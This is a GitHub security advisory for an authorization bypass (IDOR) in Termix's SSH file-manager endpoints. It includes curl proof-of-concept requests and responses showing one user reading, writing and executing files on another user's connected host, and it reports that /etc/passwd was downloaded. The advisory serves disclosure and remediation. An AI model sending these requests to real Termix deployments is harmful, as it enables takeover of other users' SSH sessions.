Skip to content

File-Manager Session Hijack via Missing Ownership Check (IDOR)

High
ZacharyZcR published GHSA-5fqh-77cr-jj5x May 31, 2026

Package

npm termix (npm)

Affected versions

<= 2.1.0

Patched versions

>=2.3.2

Description

Summary

16 file-manager endpoints in Termix v2.1.0 do not verify that the requesting user owns the SSH session identified by sessionId. An authenticated attacker who knows or guesses another user's active sessionId can read, write, delete, download, and execute files on the victim's connected SSH host.

  • CWE-639: Authorization Bypass Through User-Controlled Key (IDOR)

Details

A verifySessionOwnership(session, userId) helper exists and is called on listFiles, status, keepalive, and sudo-password. However, all other file-manager endpoints — including resolvePath, readFile, writeFile, uploadFile, downloadFile, executeFile, deleteItem, renameItem, moveItem, createFile, createFolder, changePermissions, extractArchive, compressFiles, and identifySymlink — look up sshSessions[sessionId] directly without comparing the session's userId to the JWT's userId.

Proof of Concept

Prerequisites

  • Two users: Alice (victim with active file-manager session) and Bob (attacker)
  • Bob knows Alice's sessionId value (e.g., sess-alice-1)

Steps to Reproduce

  1. Alice connects a file-manager session:
curl -b "$ALICE_COOKIES" -X POST https://target/ssh/file_manager/ssh/connect \
  -H "Content-Type: application/json" \
  -d '{"sessionId":"sess-alice-1","ip":"192.168.1.100","port":22,"username":"testuser","password":"testpass","authType":"password"}'
  1. Bob reads files on Alice's host using Alice's session:
curl -b "$BOB_COOKIES" "https://target/ssh/file_manager/ssh/readFile?sessionId=sess-alice-1&path=/etc/hostname"
# Response: {"content":"victim-host\n","path":"/etc/hostname","encoding":"utf8"}
  1. Bob writes to Alice's host:
curl -b "$BOB_COOKIES" -X POST https://target/ssh/file_manager/ssh/writeFile \
  -H "Content-Type: application/json" \
  -d '{"sessionId":"sess-alice-1","path":"/tmp/idor-test","content":"IDOR_PROOF"}'
# Response: {"message":"File written successfully"}
  1. Bob executes commands on Alice's host:
curl -b "$BOB_COOKIES" -X POST https://target/ssh/file_manager/ssh/executeFile \
  -H "Content-Type: application/json" \
  -d '{"sessionId":"sess-alice-1","filePath":"/usr/bin/id"}'
# Response: {"success":true,"exitCode":0,"output":"uid=1000(testuser) gid=1000(users) groups=1000(users)\nEXIT_CODE:0"}

Verified Result (2026-05-05)

All of the above returned successful responses. Bob (non-admin) was able to read /etc/hostname, write /tmp/idor-test (confirmed on target: IDOR_PROOF), execute /usr/bin/id, and download /etc/passwd via Alice's active session. Only listFiles returned "Session access denied".

Impact

Complete takeover of another user's SSH session — full read/write/delete/execute on the victim's connected SSH host. The attacker only needs to know the victim's sessionId (a client-generated UUID).

Remediation

Add verifySessionOwnership(session, userId) check to every endpoint that accesses sshSessions[sessionId]. Also generate sessionId server-side (return it from connect) instead of trusting the client.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-45743

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Credits